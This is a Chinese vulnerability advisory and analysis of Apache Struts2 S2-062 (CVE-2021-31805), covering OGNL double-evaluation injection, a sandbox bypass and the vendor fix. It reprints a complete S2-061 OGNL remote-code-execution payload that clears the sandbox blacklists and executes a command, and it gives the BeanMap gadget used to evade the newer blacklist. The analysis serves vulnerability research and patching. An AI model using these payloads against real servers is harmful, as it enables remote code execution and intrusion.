【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析

admin 2022年4月23日11:44:51评论491 views字数 2566阅读8分33秒阅读模式
漏洞信息


近日Apache官方公布S2-062远程代码执行漏洞安全公告,漏洞编号为 CVE-2021-31805:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


从通报来看,S2-062漏洞可以认为是S2-059和S2-061的延续,由于补丁修复不完整,导致仍然有标签可以实现二次OGNL表达式注入,漏洞影响版本为`Struts v2.0.0-v2.5.29`。

S2-061补丁回顾


S2-061漏洞触发点其实和S2-059是一样,都是针对标签属性`id`的二次OGNL表达式赋值,S2-059漏洞补丁(`Struts v2.5.22`版本)只对沙箱进行了增强,直到S2-061漏洞补丁(`Struts v2.5.26`版本)才对触发点`UIBean#setId`进行了修复,将OGNL表达式赋值过程`findString`改成了直接赋值:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


同时补丁对沙箱也进行了增强(`struts-default.xml`),黑名单中新增了Tomcat、JBoss、Weblogic等中间件的jar包:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


漏洞分析


从漏洞描述来看,S2-062仍然是标签属性二次表达式注入漏洞。标签解析开始于`ComponentTagSupport#doStartTag`,结束于`ComponentTagSupport#doEndTag`:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


进入`UIBean#end`:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


进入`evaluateParams`函数,在第220行对属性`name`调用`findString`进行了一次OGNL表达式赋值(回顾Struts2历史漏洞):


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


将`name`赋值为我们提交的标签值。接着往下走,第340行判断便签属性不存在`value`且`name`非空时将进入`completeExpressionIfAltSyntax`函数:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


当`name`赋值为类似`3*3`的格式时,变量`expr`就会变成`%{3*3}`,并通过`recursion`函数(输入参数为`name`)进行处理:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


`recursion`返回`False`进入:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


`findValue`函数完成第二次OGNL表达式赋值,从而触发表达式注入漏洞。我们可以构造如下表单:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


沙箱绕过


上面已经实现了OGNL表达式注入,但是我们还需要绕过沙箱才能实现RCE。首先回顾S2-061实现命令执行方式:


%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}


而`Struts v2.5.26`将`org.apache.tomcat.`加入了黑名单,所以无法获取`BeanMap`对象。参考OGNL语法:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


可以通过类似方式很容易获取`BeanMap`对象:


#@org.apache.commons.collections.BeanMap@{}


`org.apache.commons.collections.BeanMap`并不在黑名单中。可以替换payload绕过限制,从而实现RCE:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


修复方式


新增了`NotExcludedAcceptedPatternsChecker`接口和`DefaultNotExcludedAcceptedPatternsChecker`子类:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析


通过添加正则表达式规则来限制OGNL表达式赋值:


【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析



由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。



点关注,不迷路!

【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析

原文始发于微信公众号(且听安全):【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:44:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析https://cn-sec.com/archives/919553.html

发表评论

匿名网友 填写信息